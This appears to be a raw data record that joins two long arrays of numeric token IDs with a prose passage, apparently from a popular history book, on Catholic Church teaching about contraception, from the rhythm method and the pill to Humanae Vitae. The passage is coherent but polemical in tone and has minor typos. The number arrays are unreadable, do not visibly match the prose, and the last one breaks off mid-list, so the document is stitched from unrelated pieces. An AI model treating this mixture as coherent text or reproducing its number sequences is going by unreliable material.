1332, 13, 367, 3750, 47990, 574, 13433, 314, 10435, 7025, 14020, 273, 12791, 1128, 783, 3000, 273, 11877, 47974, 13, 7195, 329, 16573, 284, 13, 285, 7363, 273, 2469, 1684, 265, 13, 1690, 521, 8993, 28934, 15, 187, 187, 2374, 253, 16892, 369, 247, 747, 1332, 273, 49907, 13, 534, 369, 281, 5276, 1077, 23176, 15, 187, 187, 9707, 367, 10592, 1128, 9707, 41232, 58, 8, 52, 346, 41127, 4966, 1267, 4392, 1848, 1194, 1381, 11994, 187, 187, 2302, 2362, 275, 253, 1048, 285, 19080, 2892, 273, 49907, 556, 574, 247, 3687, 3486, 685, 253, 2440, 273, 253, 4201, 1453, 12575, 15, 36999, 49907, 574, 644, 8131, 347, 2080, 896, 347, 253, 4260, 14, 79, 7795, 14860, 5331, 15, 48270, 3260, 840, 326, 17110, 275, 253, 2614, 4963, 812, 13201, 253, 3275, 273, 258, 6156, 285, 14246, 1427, 15, 496, 23084, 13, 367, 3750, 47990, 3047, 326, 253, 12575, 369, 816, 1475, 253, 7145, 285, 39349, 352, 347, 346, 408, 5033, 10335, 17700, 449, 187, 187, 2773, 807, 13, 8607, 5762, 247, 340, 312, 14, 13472, 14246, 1427, 10680, 13, 295, 410, 394, 1362, 351, 1661, 13, 327, 337, 13, 20777, 15986, 275, 22699, 25681, 1128, 66, 10503, 8930, 15, 733, 4232, 46182, 31793, 285, 369, 271, 3576, 28397, 20834, 15, 49901, 282, 18033, 33367, 4395, 4541, 281, 4647, 323, 21172, 9612, 281, 2791, 346, 783, 12575, 449, 187, 187, 34, 747, 39166, 574, 816, 2668, 3906, 27, 2516, 24100, 8296, 313, 36265, 1253, 3571, 481, 754, 13, 285, 1142, 643, 7231, 7038, 1475, 253, 1533, 13, 26212, 253, 12575, 347, 253, 10319, 273, 253, 5331, 15, 1583, 16923, 326, 352, 651, 28071, 285, 20512, 1818, 253, 1533, 15, 1583, 497, 987, 15, 187, 187, 688, 11994, 13, 2255, 2439, 3968, 3407, 11280, 3035, 729, 301, 13, 2892, 434, 806, 34663, 18461, 7946, 28397, 20834, 15, 187, 187, 3463, 253, 990, 273, 21054, 13, 247, 2716, 14, 24561, 2448, 2255, 497, 327, 253, 12575, 13, 285, 326, 1180, 625, 685, 25128, 253, 1563, 807, 15, 10503, 26283, 574, 12841, 12300, 434, 7997, 15, 187, 187, 10195, 25024, 24061, 285, 1980, 39180, 497, 5068, 281, 1379, 247, 12773, 1859, 2584, 49907, 15, 187, 187, 10195, 26345, 261, 13, 347, 359, 1849, 2326, 13, 2686, 9013, 253, 12575, 689, 8651, 3082, 273, 4201, 1453, 15, 187, 187, 2512, 369, 253, 3282, 326, 275, 253, 33411, 13, 253, 46316, 13, 4980, 14, 23674, 18422, 2516, 24100, 8296, 369, 670, 281, 1056, 28110, 2544, 275, 17730, 281, 1966, 30545, 15, 9240, 665, 651, 452, 644, 10066, 1537, 751, 281, 1158, 326, 310, 2139, 2656, 1925, 779, 4745, 281, 22758, 1078, 344, 812, 769, 327, 436, 2256, 15, 187, 187, 510, 10290, 14, 23674, 39166, 369, 4783, 13, 285, 521, 24193, 13, 5171, 17128, 313, 30488, 1253, 3141, 582, 858, 1633, 326, 651, 14165, 366, 625, 8370, 33097, 685, 667, 2720, 13860, 267, 2250, 275, 2892, 15, 187, 187, 64, 26809, 3788, 1322, 38, 657, 1433, 12648, 64, 1905, 9707, 19115, 28104, 346, 33044, 35336, 48, 329, 3269, 34, 3027, 1381, 500, 4641, 58, 2030, 13, 16221, 187, 187, 1909, 604, 344, 812, 2014, 14, 4608, 15376, 3523, 253, 897, 273, 4980, 3082, 273, 49907, 13, 18422, 5171, 17128, 4395, 4541, 285, 2335, 247, 5882, 13, 4370, 33778, 1462, 13, 4331, 920, 247, 17770, 314, 3159, 264, 546, 12642, 474, 15, 187, 187, 1328, 29504, 512, 8213, 273, 49907, 432, 5955, 1561, 253, 6412, 434, 4214, 6456, 15, 1707, 651, 320, 642, 2007, 5955, 13, 642, 8881, 13, 642, 1345, 2329, 272, 273, 18776, 15, 496, 958, 13, 247, 8119, 273, 39180, 13, 14975, 13, 285, 2242, 19365, 7581, 264, 407, 5171, 275, 17926, 574, 14285, 1740, 281, 581, 326, 253, 6412, 943, 12773, 907, 697, 9551, 327, 4201, 1453, 15, 21739, 14, 23674, 39180, 497, 38141, 253, 42020, 1648, 417, 281, 25650, 1175, 17581, 665, 3078, 281, 2701, 253, 1979, 273, 616, 5870, 15, 187, 187, 18497, 989, 4137, 257, 561, 273, 22785, 23383, 342, 253, 41082, 665, 256, 1356, 342, 253, 39166, 27, 346, 42, 2353, 368, 13, 619, 4929, 39180, 13, 1339, 441, 3693, 247, 747, 686, 19393, 587, 80, 9767, 1094, 2464, 2596, 310, 2217, 323, 253, 6105, 449, 496, 1668, 1610, 13, 1309, 253, 496, 34961, 13, 18422, 24517, 29136, 574, 26212, 46087, 80, 323, 3981, 326, 253, 5101, 13, 417, 253, 6149, 13, 310, 387, 253, 4055, 273, 253, 10325, 285, 6960, 253, 20687, 37274, 604, 344, 858, 417, 10138, 281, 6412, 9551, 327, 42716, 15, 187, 187, 64, 49, 1714, 24517, 29136, 313, 1036, 1508, 1253, 2031, 10, 26212, 46087, 80, 323, 3981, 253, 5101, 13, 417, 253, 6149, 13, 369, 387, 253, 4055, 273, 253, 10325, 3333, 187, 187, 2374, 4163, 2030, 13, 16221, 13, 795, 40320, 3230, 70, 24198, 3348, 64, 5550, 2374, 253, 33156, 273, 28919, 2807, 369, 4439, 15, 380, 546, 12642, 474, 48423, 20374, 512, 13345, 3082, 273, 49907, 15, 1244, 352, 20374, 512, 39180, 285, 24061, 432, 6941, 46948, 414, 275, 616, 1211, 44615, 569, 15, 2828, 434, 15951, 274, 327, 6149, 574, 8884, 253, 1563, 27, 187, 187, 424, 5626, 411, 3252, 1410, 17003, 32021, 353, 11164, 6019, 346, 2214, 8802, 937, 18422, 5171, 17128, 2183, 271, 8446, 273, 49161, 2458, 285, 19859, 41286, 11644, 13, 187, 187, 64, 56, 4998, 310, 247, 8113, 273, 2432, 72, 989, 24410, 534, 1551, 2324, 253, 4585, 9447, 285, 8991, 39236, 273, 253, 1966, 2798, 2391, 1198, 8802, 13, 703, 310, 253, 15906, 954, 5474, 587, 1051, 16115, 13, 33632, 13, 807, 920, 13, 47012, 13, 703, 3133, 281, 29623, 10748, 4404, 247, 4451, 285, 24555, 4677, 13, 4293, 317, 4187, 285, 26034, 1020, 13, 534, 247, 30082, 23724, 13, 24011, 2190, 512, 13, 369, 33781, 281, 2489, 253, 8237, 12273, 273, 2828, 13, 6393, 3333, 187, 187, 2302, 19859, 41286, 10364, 3802, 280, 40617, 15, 1621, 49161, 757, 12918, 672, 253, 39166, 12246, 731, 42076, 27, 346, 1394, 923, 13, 24173, 13, 436, 310, 253, 6415, 327, 534, 844, 1364, 2525, 23724, 449, 1916, 11576, 665, 574, 281, 2968, 342, 2255, 665, 3078, 281, 2701, 2021, 1979, 13, 665, 574, 3739, 2515, 326, 247, 10438, 651, 8508, 13, 253, 39166, 1669, 731, 342, 247, 9023, 27, 5749, 3220, 3000, 62, 588, 2085, 368, 342, 2739, 323, 747, 13, 17874, 285, 1175, 7906, 285, 368, 588, 823, 24027, 285, 15785, 281, 634, 8761, 449, 187, 187, 21173, 621, 273, 26283, 3078, 20992, 13, 285, 253, 24555, 42020, 1648, 2918, 598, 253, 8237, 6393, 347, 253, 8198, 485, 273, 3416, 3639, 15, 1310, 247, 4564, 342, 2620, 2151, 812, 7848, 642, 625, 13, 597, 651, 320, 6726, 281, 1421, 247, 2825, 1417, 1495, 13, 323, 604, 253, 19407, 1332, 4242, 13, 16403, 369, 417, 271, 4500, 15, 187, 187, 8917, 5171, 17128, 1663, 1158, 326, 247, 7028, 637, 285, 3416, 8, 249, 13, 1333, 13, 616, 20960, 2890, 13, 285, 342, 1740, 2151, 13, 812, 4264, 247, 26174, 7028, 2825, 1417, 1495, 32, 8079, 13, 344, 858, 15, 2656, 13, 344, 753, 13, 949, 253, 23324, 5411, 14426, 1682, 12997, 275, 253, 45121, 2247, 273, 1111, 3428, 2421, 13, 574, 2530, 323, 816, 326, 2238, 273, 448, 4740, 17518, 13, 943, 352, 320, 1925, 323, 15, 40208, 6057, 1682, 15, 187, 187, 42625, 13, 795, 40320, 3230, 70, 24198, 3348, 64, 6131, 642, 2173, 6001, 1546, 10414, 275, 1329, 273, 697, 1142, 25650, 569, 273, 13345, 22086, 1128, 395, 273, 16403, 285, 10335, 17700, 15, 7087, 13, 3012, 13, 858, 253, 39166, 20141, 21463, 253, 3389, 795, 911, 5798, 742, 376, 64, 1157, 2403, 697, 11684, 2192, 455, 917, 4370, 785, 15, 1916, 513, 824, 651, 452, 3033, 253, 3564, 273, 521, 2323, 641, 11654, 1128, 395, 14568, 3441, 2624, 9790, 273, 7028, 17581, 745, 432, 11497, 275, 253, 6412, 15, 187, 187, 2214, 13, 6296, 13, 33097, 795, 12796, 64, 25815, 4201, 1453, 13, 342, 247, 9908, 440, 2655, 3256, 275, 253, 2469, 15, 329, 8461, 273, 253, 1388, 4950, 326, 7584, 2558, 273, 2448, 33097, 313, 783, 954, 22134, 809, 6231, 21876, 273, 10503, 10, 908, 253, 12575, 390, 690, 643, 2097, 273, 13345, 4201, 1453, 28, 11289, 2558, 273, 24419, 1103, 858, 28, 9161, 2558, 273, 11563, 15, 187, 187, 688, 2426, 273, 4201, 1453, 13, 8370, 10503, 1204, 574, 2489, 581, 273, 253, 954, 29460, 273, 253, 2201, 31194, 15, 187, 187, 41127, 1194, 44026, 41252, 3481, 39823, 18174, 25503, 1410, 27, 16221, 5935, 3003, 44468, 3489, 187, 187, 44982, 253, 990, 273, 795, 40320, 3230, 70, 24198, 3348, 64, 1157, 253, 39166, 42169, 24061, 281, 1918, 346, 3529, 33842, 40138, 13, 27162, 347, 973, 347, 22684 ]	the rape, and she must hold her body stiffly rigid to display her disapproval. Pius XII (1939–58), the new pope, did made a slight concession to the times: grudgingly, he gave his nihil obstat (official sanction) to the so-called rhythm method or safe period of contraception: a wife, with the aid of a thermometer, plots her infertile periods, and the couple then enjoys sex during that "safe" time, and abstains at all other times. So unsafe was the method—measuring the infertile period can be thrown off by a case of the flu; by lactation (when menstruation ceases but conception is possible); and by the approach of menopause, when a woman's cycle gets hopelessly wobbly—that the pope's concession spawned jokes among liberal-minded priests. "Papa allows the safe method because he knows it's not safe." Or "A wife's only safe period is after age sixty." Obstetricians called the method "Vatican roulette." MUTUAL MASTURBATION. In fact, accepting the rhythm method, this small papal compromise, grossly violated prior Church teachings on birth control. Turned them on their head. For centuries, the _only_ morally correct reason to copulate was to conceive children. But Pius XII, following up on Pius XI, who'd just said that sex in marriage was "good and holy," felt confident that he, too, could reverse Church teaching. In 1951, he addressed the midwives of Italy, instructing them on the cautious use of the rhythm method. Actually, his predecessor, Pius XI, had condemned birth control pioneer Margaret Sanger (who coined the term "birth control") for suggesting that Christian couples who wanted to limit the size of their family might try the "safe period" method. Indeed, this method was scowled upon in Rome as a form of mutual masturbation—as was all intercourse without the intent to conceive. Pius XII could not have misunderstood his predecessor. No one could have. Pius XI had called _all_ methods of contraception "criminal abuse." In his 1930 encyclical _Casti connubii_, he stated that couples who attempt not to conceive— _all_ Christians, not just Roman Catholics—"sin against nature and commit a deed which is shameful and intrinsically vicious." God, warned the pope, "detests this unspeakable crime with the deepest hatred and has sometimes punished it with death." Death for using a condom. Death for a husband and wife having sex during the safe period. Now Pius XI's successor had lifted the death penalty and the burden of guilt in regard to the safe period. Major change was underway. In viewing sex in itself as "good and holy," Pius XI had broken with centuries of tradition. In allowing the rhythm method, Pius XII had boldly contradicted centuries of doctrine—the words of Saint Augustine, Thomas Aquinas, and scores of past popes, including his immediate predecessor. On the horizon was a new method of contraception, which was to prove very appealing. THE PILL—THEOLOGY'S "GREATEST THREAT": 1960 No event in the long and clever history of contraception has had a greater impact than the development of the birth control pill. Oral contraception had been predicted as far back as the mid-nineteenth century. Doctors knew then that chemicals in the bloodstream could disrupt the production of ova and ovulation. In 1958, Pius XII saw that the pill was just around the corner and cursed it as "illicit sterilization." That year, researchers tested a yam-derived ovulation inhibitor, norethynodrel, on 1,308 volunteers in Puerto Rico—a Catholic island. It established menstrual regularity and was an effective contraceptive. Searle Pharmaceuticals moved quickly to apply for FDA approval to market "the pill." A new pope had just taken office: John XXIII (1958–63). He, and many other religious leaders around the world, condemned the pill as the evil of the century. They forecast that it would socially and sexually change the world. They were right. In 1960, women across America began buying Enovid, history's first chemically manufactured oral contraceptive. By the end of 1961, a half-million American women were on the pill, and that number more than doubled the following year. Catholic wives had ignored Rome's instructions. Many parish priests and local bishops were beginning to take a liberal view toward contraception. Many rabbis, as we've seen, actually preferred the pill over mechanical methods of birth control. There was the sense that in the Vatican, the compassionate, modern-minded Pope John XXIII was about to make sweeping changes in regards to human sexuality. Those who would have been opposed might like to think that is why God called him immediately to Heaven before he could act on this subject. The moderate-minded pope was gone, and his successor, Paul VI (1963–78), did something that would alienate more Roman Catholics than any prior papal action in history. _HUMANAE VITAE_ —THE SECOND "GALILEO AFFAIR": JULY 25, 1968 As if he could single-handedly stop the use of modern methods of contraception, Pope Paul VI moved quickly and took a firm, dogmatic stand, penning a harshly worded encyclical. He withdrew all matters of contraception from discussion within the Church's General Council. There would be no further discussion, no debate, no public airing of dissent. In fact, a commission of bishops, physicians, and lay folk convened by Paul in 1964 had voted four to one that the Church should liberalize its teaching on birth control. Liberal-minded bishops were begging the pontiff not to condemn good couples who wanted to limit the size of their families. Cardinal Suenens of Belgium pleaded with the clergy who sided with the pope: "I beg you, my brother bishops, let us avoid a new 'Galileo Affair.' One is enough for the church." In 1633, during the Inquisition, Pope Urban VIII had condemned Galileo for saying that the sun, not the earth, is at the center of the universe and ordered the scientist tortured if he did not conform to Church teaching on cosmology. _Pope Urban VIII (1623–44) condemned Galileo for saying the sun, not the earth, was at the center of the universe._ On July 25, 1968, _Humanae Vitae_ ("On the Regulation of Birth") was released. The encyclical fiercely banned all artificial methods of contraception. And it banned all bishops and priests from allowing laxity in their own congregations. Christ's vicar on earth had declared the following: ALL WIVES ARE LIKE MARY. "For Us," Pope Paul VI told an audience of obstetricians and gynecologists, _Woman is a vision of virginal purity which restores the highest moral and emotional sentiments of the human heart.... For Us, she is the creature most docile... singing, praying, yearning, weeping, she seems to converge naturally towards a unique and supreme figure, immaculate and sorrowful, which a privileged Woman, blessed among all, was destined to become the Virgin Mother of Christ, Mary._ No gynecologist snickered. No obstetrician laughed when the pope bid them farewell: "You see, gentlemen, this is the plane on which We must meet Woman." To doctors who had to deal with women who wanted to limit family size, who had medical conditions that a pregnancy would compound, the pope left them with a promise: "[My words] will provide you with food for new, noble and good thoughts and you will add dignity and merit to your profession." Millions of wives wanted compassion, and the supreme pontiff held up the Virgin Mary as the epitome of womanhood. If a couple with five children could afford no more, they would be forced to lead a sexless life, for if the rhythm method failed, abortion was not an option. Did Paul VI really think that a married man and woman'in, say, their thirties, and with four children, could enjoy a happily married sexless life? Indeed, he did. God, he said, through the sanctifying grace bestowed in the sacrament of matrimony, had provided for just that kind of chaste discipline, should it be called for. Papa knows best. Interestingly, _Humanae Vitae_ offers no specific scriptural references in support of its many condemnations of artificial conception—and of abortion and sterilization. Nor, significantly, did the pope dare stamp the document _ex cathedra_, making its demands infallible dogma. To do such would have bound the hands of his successors forever—and summarily cut millions of married couples off from participation in the Church. For, indeed, Catholics _were_ practicing birth control, with a passion unequaled in the past. A poll of the day revealed that 49 percent of American Catholics (the most openly defiant breed of Catholic) used the pill or some other means of artificial birth control; 89 percent of Protestants did; 96 percent of Jews. In terms of birth control, Roman Catholicism had become one of the most punitive of the major religions. GREAT SCHISM OF MODERN TIMES: 1968 TO THE PRESENT Near the end of _Humanae Vitae_, the pope warns priests to give "that sincere obedience, inward as well as outward
[ 13, 533, 4021, 14, 47009, 310, 2629, 5199, 1475, 1060, 13, 835, 359, 452, 281, 2968, 342, 3253, 432, 17631, 8548, 281, 15569, 267, 18111, 968, 15, 1893, 309, 10141, 253, 7512, 15, 1707, 369, 642, 1953, 326, 253, 5599, 309, 1871, 10062, 281, 369, 31472, 329, 6597, 15, 187, 187, 9301, 309, 3261, 598, 253, 29803, 327, 253, 7336, 285, 20582, 3253, 309, 812, 1089, 13, 534, 3589, 626, 1199, 15, 399, 35570, 323, 253, 10349, 15, 309, 1694, 247, 1643, 12830, 327, 253, 6323, 581, 1128, 2019, 10723, 16598, 1128, 2858, 2717, 327, 253, 806, 767, 13, 443, 23819, 16647, 285, 21444, 74, 30114, 284, 15, 714, 554, 13, 443, 249, 285, 21444, 74, 15, 9368, 479, 10412, 13, 533, 26086, 634, 19367, 846, 32840, 35115, 310, 816, 7004, 323, 7596, 15, 187, 187, 9301, 309, 4307, 327, 12488, 253, 17651, 15, 309, 1871, 816, 6699, 10358, 3390, 275, 5697, 323, 253, 9711, 1789, 275, 31231, 434, 1133, 1128, 9669, 13, 717, 86, 1059, 13, 2234, 1128, 9453, 309, 17377, 387, 253, 8886, 15, 733, 369, 2761, 19525, 15, 1310, 309, 9355, 281, 755, 281, 27899, 3063, 13, 309, 574, 281, 755, 1469, 15, 187, 187, 42, 16470, 619, 26358, 432, 253, 896, 2316, 285, 9530, 264, 619, 13696, 715, 253, 31132, 15, 3105, 247, 25812, 13, 247, 30649, 15, 309, 1537, 3153, 275, 253, 4759, 13779, 13, 533, 309, 1871, 1620, 3240, 28729, 253, 14898, 15, 309, 12668, 247, 13918, 308, 9007, 545, 27926, 23182, 326, 22838, 285, 309, 574, 16789, 2366, 15, 733, 369, 247, 7353, 9549, 13, 285, 247, 2257, 625, 7236, 14, 20246, 685, 247, 1113, 13, 594, 309, 812, 1928, 4732, 3472, 1293, 18501, 272, 253, 4484, 2803, 15, 187, 187, 42, 1182, 6390, 1728, 13, 840, 1925, 13187, 15, 1621, 3662, 15, 2064, 369, 4030, 1128, 42, 3589, 626, 6789, 281, 755, 521, 9612, 13, 816, 281, 1339, 779, 871, 15, 13187, 5082, 626, 3523, 479, 8791, 15, 754, 369, 619, 5962, 31409, 672, 309, 9125, 323, 2970, 562, 275, 253, 1673, 625, 15, 187, 187, 9387, 9236, 574, 30363, 479, 14268, 1078, 703, 1669, 13, 285, 309, 369, 12868, 247, 3817, 281, 1379, 672, 619, 894, 25791, 15, 380, 3166, 641, 8, 346, 19258, 2752, 8726, 449, 13187, 434, 5406, 32773, 598, 13, 247, 7122, 14, 1403, 1020, 581, 273, 779, 24145, 1078, 521, 806, 8574, 327, 247, 21114, 7408, 1390, 8986, 15, 187, 187, 42, 1871, 644, 275, 2389, 342, 13187, 1580, 309, 369, 13265, 15, 309, 1871, 8228, 598, 7895, 275, 253, 3640, 326, 1223, 643, 6838, 33305, 670, 616, 7445, 7832, 13, 309, 1871, 2168, 1119, 7477, 15, 309, 816, 3058, 281, 3343, 1919, 309, 369, 1711, 2217, 323, 779, 281, 8968, 309, 3589, 626, 816, 521, 3858, 8, 18588, 28, 309, 369, 521, 7765, 20187, 15, 187, 187, 25347, 6933, 17132, 670, 987, 15, 2896, 253, 673, 309, 2686, 4925, 25279, 13, 2167, 13, 309, 8156, 352, 369, 1039, 1512, 2872, 15, 1621, 12524, 6818, 14, 23587, 14, 2913, 14, 744, 943, 320, 6110, 275, 247, 5772, 326, 2363, 15, 16244, 9673, 840, 15, 2091, 25259, 4817, 13, 309, 2183, 4266, 253, 8037, 369, 1335, 1512, 4618, 15, 19388, 32, 1621, 365, 15, 19388, 14, 531, 15, 733, 574, 281, 320, 6818, 14, 531, 15, 187, 187, 1231, 2427, 562, 323, 619, 6818, 14, 7053, 14348, 13, 816, 253, 767, 273, 441, 15, 2064, 3589, 626, 247, 861, 273, 2712, 1128, 664, 1849, 1900, 644, 1175, 3858, 15, 2091, 344, 2546, 835, 309, 3078, 281, 564, 13, 309, 753, 253, 954, 8214, 1659, 275, 3874, 13, 816, 281, 1918, 779, 247, 1892, 673, 15, 2635, 309, 8686, 247, 26738, 7619, 13, 1694, 619, 4707, 2218, 13, 1014, 574, 247, 49335, 459, 15, 2064, 2360, 13187, 651, 4720, 8968, 253, 7060, 14, 515, 13, 3496, 37882, 12933, 18477, 369, 4783, 323, 1175, 15, 309, 369, 247, 3416, 1024, 15, 187, 187, 2042, 344, 858, 4366, 13, 352, 1904, 626, 1646, 281, 1056, 667, 3064, 15, 309, 795, 4238, 79, 626, 64, 521, 3858, 8, 18588, 10542, 15, 309, 369, 521, 38800, 254, 285, 5796, 285, 326, 369, 512, 309, 369, 2455, 1469, 281, 320, 15, 11668, 352, 390, 3553, 352, 15, 309, 1871, 4425, 281, 1379, 352, 15, 2064, 1904, 626, 1599, 13, 2167, 13, 326, 619, 2798, 1904, 626, 892, 12216, 1046, 673, 309, 3735, 521, 5818, 10541, 15, 187, 187, 3, 1466, 479, 5476, 937, 344, 753, 672, 309, 9577, 15, 346, 1394, 1472, 23086, 285, 25106, 2168, 449, 187, 187, 3, 47, 1714, 15, 21979, 247, 16260, 35050, 342, 1896, 17651, 2531, 689, 1299, 265, 2168, 449, 187, 187, 42, 3534, 779, 247, 3158, 1408, 3487, 15, 187, 187, 3, 23016, 339, 434, 247, 1175, 5599, 937, 344, 753, 672, 309, 6699, 15, 346, 1394, 812, 897, 253, 2793, 15, 1284, 253, 8474, 8183, 275, 3643, 9236, 285, 22838, 434, 5928, 13, 309, 1353, 2403, 271, 9165, 3061, 449, 187, 187, 3, 1394, 751, 326, 13, 1053, 626, 368, 865, 187, 187, 3, 38714, 326, 4245, 479, 253, 5170, 1133, 15, 309, 9023, 417, 281, 17991, 352, 689, 368, 672, 309, 755, 627, 13, 2167, 449, 187, 187, 3, 1394, 1472, 387, 247, 8059, 15, 1284, 22258, 347, 352, 1537, 320, 13, 368, 1472, 10960, 449, 187, 187, 3, 2512, 403, 816, 247, 4564, 625, 36395, 1032, 309, 971, 281, 1790, 275, 327, 13, 594, 309, 1833, 3553, 2393, 285, 1705, 1918, 368, 247, 1133, 15, 31472, 434, 4030, 13, 533, 1805, 281, 789, 342, 3095, 368, 871, 13, 987, 32, 844, 1056, 247, 1175, 2285, 449, 187, 187, 5088, 15, 1292, 347, 1199, 347, 309, 7636, 2444, 342, 13187, 13, 309, 1663, 3078, 436, 281, 320, 619, 806, 14088, 1083, 15, 1284, 14088, 347, 309, 812, 1056, 352, 13, 8791, 15, 1893, 309, 753, 359, 1871, 2319, 352, 1996, 15, 754, 369, 4030, 342, 326, 15, 187, 187, 3, 4125, 13, 368, 1472, 1469, 281, 3297, 275, 27899, 13, 987, 32, 3105, 36437, 896, 285, 6593, 449, 187, 187, 3, 1147, 434, 760, 271, 4964, 4446, 15, 309, 452, 281, 1705, 896, 390, 3643, 9236, 285, 22838, 588, 871, 1633, 434, 598, 449, 187, 187, 3, 42, 1833, 1333, 309, 2197, 368, 562, 281, 513, 1791, 1601, 323, 479, 449, 187, 187, 3, 1989, 253, 3906, 12012, 187, 187, 23887, 9846, 1408, 816, 4030, 1293, 368, 15, 6279, 13, 309, 871, 368, 1871, 2581, 1705, 1728, 1046, 2360, 13, 533, 604, 368, 1663, 971, 1673, 2793, 13, 368, 878, 281, 755, 562, 275, 253, 1673, 285, 3297, 627, 15, 733, 434, 247, 1355, 3874, 15, 1422, 452, 281, 6673, 69, 275, 13, 2489, 629, 273, 253, 3114, 15, 733, 1833, 320, 1175, 323, 368, 13, 2970, 562, 13, 43261, 1981, 13, 2820, 281, 4944, 275, 29001, 187, 187, 46, 272, 1981, 342, 795, 18256, 507, 3333, 47888, 281, 4944, 715, 795, 13961, 64, 5948, 15, 2064, 434, 752, 344, 5486, 15, 12304, 79, 15, 187, 187, 42, 46572, 5821, 15, 754, 1160, 479, 9023, 281, 1067, 779, 342, 271, 5731, 10873, 15, 187, 424, 13524, 424, 187, 187, 424, 42, 424, 2335, 253, 896, 13939, 281, 27899, 15, 4855, 1576, 285, 5694, 37360, 1053, 626, 5878, 15, 17106, 513, 5694, 37360, 285, 253, 11553, 29490, 15, 6975, 22838, 13, 2167, 13, 309, 16410, 281, 4917, 281, 253, 7952, 15, 309, 9549, 672, 309, 476, 13, 285, 452, 247, 42229, 2338, 275, 619, 26759, 46728, 15, 309, 812, 452, 2668, 3643, 9236, 434, 13558, 316, 13, 533, 253, 16923, 369, 2590, 323, 253, 1735, 2129, 15, 1893, 309, 369, 21282, 272, 2112, 13, 18262, 253, 9549, 13, 672, 309, 4817, 247, 2579, 4660, 9734, 346, 6275, 3678, 323, 3578, 6574, 937, 534, 4455, 8909, 13, 7296, 27899, 369, 760, 247, 1643, 6574, 1977, 15, 11706, 13, 309, 574, 762, 2716, 247, 11100, 13, 594, 309, 6331, 15, 187, 187, 1909, 309, 6898, 598, 13, 247, 4564, 273, 9988, 398, 6225, 3345, 247, 8132, 13, 253, 9243, 581, 12669, 479, 562, 13, 253, 5662, 581, 12669, 562, 619, 9549, 15, 187, 187, 3, 46, 7694, 251, 2652, 6575, 937, 253, 5662, 5599, 753, 13, 49006, 387, 619, 9549, 15, 346, 2773, 434, 253, 13696, 344, 574, 275, 795, 510, 13303, 1623, 265, 3333, 346, 187, 187, 510, 9243, 5599, 434, 15944, 31688, 23258, 689, 479, 15, 346, 2598, 403, 368, 247, 4956, 581, 13, 4070, 865, 187, 187, 510, 5662, 581, 6294, 779, 598, 342, 247, 40332, 13, 840, 3531, 281, 479, 15, 346, 7161, 368, 13590, 32, 1707, 3548, 626, 1199, 1475, 562, 1060, 449, 187, 187, 42, 42960, 841, 6068, 497, 432, 27899, 13, 533, 604, 597, 497, 327, 436, 896, 3971, 13, 597, 497, 3164, 7615, 342, 253, 2170, 15, 187, 187, 18851, 272, 3643, 9236, 13, 309, 2469, 264, 327, 247, 1943, 13, 11453, 8580, 15, 346, 44265, 316, 449, 187, 187, 3, 4967, 865, 253, 9243, 5599, 753, 15, 346, 16440, 627, 323, 247, 3226, 751, 368, 449, 187, 187, 3, 1898, 417, 253, 4389, 383, 1659, 2057, 937, 253, 5662, 581, 753, 15, 346, 3726, 1849, 574, 3746, 247, 1643, 29803, 275, 253, 2469, 807, 15, 10231, 2255, 449, 187, 187, 1552, 369, 6927, 685, 309, 1869, 15, 309, 760, 574, 281, 1333, 13, 346, 6075, 8140, 865, 285, 309, 1694, 512, 253, 4278, 15, 1583, 1904, 626, 2028, 479, 2712, 309, 1904, 626, 1239, 275, 31472, 434, 5012, 13, 2167, 15, 3105, 1919, 597, 1871, 6699, 13, 285, 253, 5662, 637, 753, 13, 346, 2042, 368, 1642, 479, 13, 627, 434, 1633, 288, 46279, 1469, 327, 275, 326, 3874, 449, 187, 187, 3, 41, 46279, 865, 187, 187, 3, 40255, 6421, 273, 7477, 6331, 627, 1390, 2965, 13, 2403, 247, 6742, 15, 50026, 275, 253, 3430, 3652, 285, 1119, 581, 273, 731, 2206, 32092, 37455, 449, 187, 187, 3, 688, 4780, 865, 187, 187, 3, 47, 1240, 13, 432, 253, 2360, 1078, 13, 344, 15433, 15, 1292, 352, 369, 512, 627, 15, 19464, 13853, 15, 5418, 36555, 15, 16631, 5798, 15, 754, 33544, 562, 273, 627, 751, 253, 22144, 2994, 369, 846, 779, 15, 38191, 626, 3523, 275, 326, 3874, 2455, 969, 449, 187, 187, 52, 1194, 1539, 1864, 416, 1433, 54, 16755, 15, 309, 8, 37, 320, 247, 2257, 625, 9049, 670, 326, 604, 253, 17651, 2531, 7871, 1669, 2822, 1110, 8248, 5125, 2712, 751, 247, 2806, 2280, 15, 11706, 13, 352, 369, 247, 1265, 1128, 66, 12662, 326, 1633, 34612, 1537, 320, 1469, 327, 275, 27899, 15, 6758, 369, 1175, 13, 984, 432, 253, 1007, 273, 253, 1659, 13, 309, 1871, 1620, 452, 30346, 352, 15, 187, 187, 510, 7774, 327, 253, 29803, 574, 1677, 479, 247, 1175, 2460, 273, 27899, 15, 5402, 6867, 1355, 3874, 15586, 281, 11883, 13, 253, 5753, 15076, 562, 281, 16335, 390, 20956, 347, 3517, 347, 597, 812, 15, 1707, 651, 320, 247, 25364, 323, 764, 15807, 13, 533, 6571, 368, 1871, 923, 10198, 273, 1355, 1501, 7523, 9076, 2914, 264, 407, 49031, 1501, 486, 14, 296, 1301, 23298, 84, 15, 380, 17207, 651, 320, 247, 12097, 1601, 273, 5044, 14, 10613, 9341, 326, 574, 644, 627, 323, 1264, 14649, 15, 187, 187, 1909, 309, 12668, 715, 3874, 13, 2167, 13, 309, 7416, 1046, 1980, 5772, 275, 448, 297, 14650, 387, 253, 2372, 281, 320, 690, 5070, 2010, 13, 667, 5070, 2010, 15, 26291, 3874, 369, 1512, 43126, 4552, 247, 1307, 323, 27899, 13, 7862, 981, 598, 36522, 273, 28392, 42534, 1424, 1170, 275, 253, 29178, 285, 246, 12376, 30939, 2434, 413, 7871, 892, 5436, 15, 831, 1659, 369, 247, 42120, 13, 4000, 1076, 1078, 619, 2927, 13, 3846, 533, 1335, 10380, 15415, 15, 187, 187, 510, 3072, 861, 3261, 347, 604, 352, 574, 4102, 644, 3777, 432, 1740, 24321, 281, 1264, 13, 1014, 326, 6642, 12206, 271, 2329, 273, 18439, 36970, 15, 309, 12668, 2469, 1264, 9341, 327, 253, 46413, 273, 3874, 1128, 66, 50229, 14, 484, 43410, 31132, 13, 247, 908, 14, 5546, 2257, 342, 1264, 16059, 14, 78, 1250, 502, 3938, 398, 13, 285, 247, 47465, 3678, 4660, 15, 187, 187, 510, 16252, 10198, 2210, 1735, 13, 604, 581, 476, 1335, 1067, 731, 326, 672, 627, 434, 1652, 861, 273, 4588, 8811, 15, 8948, 247, 7150, 273, 253, 8783, 17564, 253, 2238, 273, 49031, 1501, 7523, 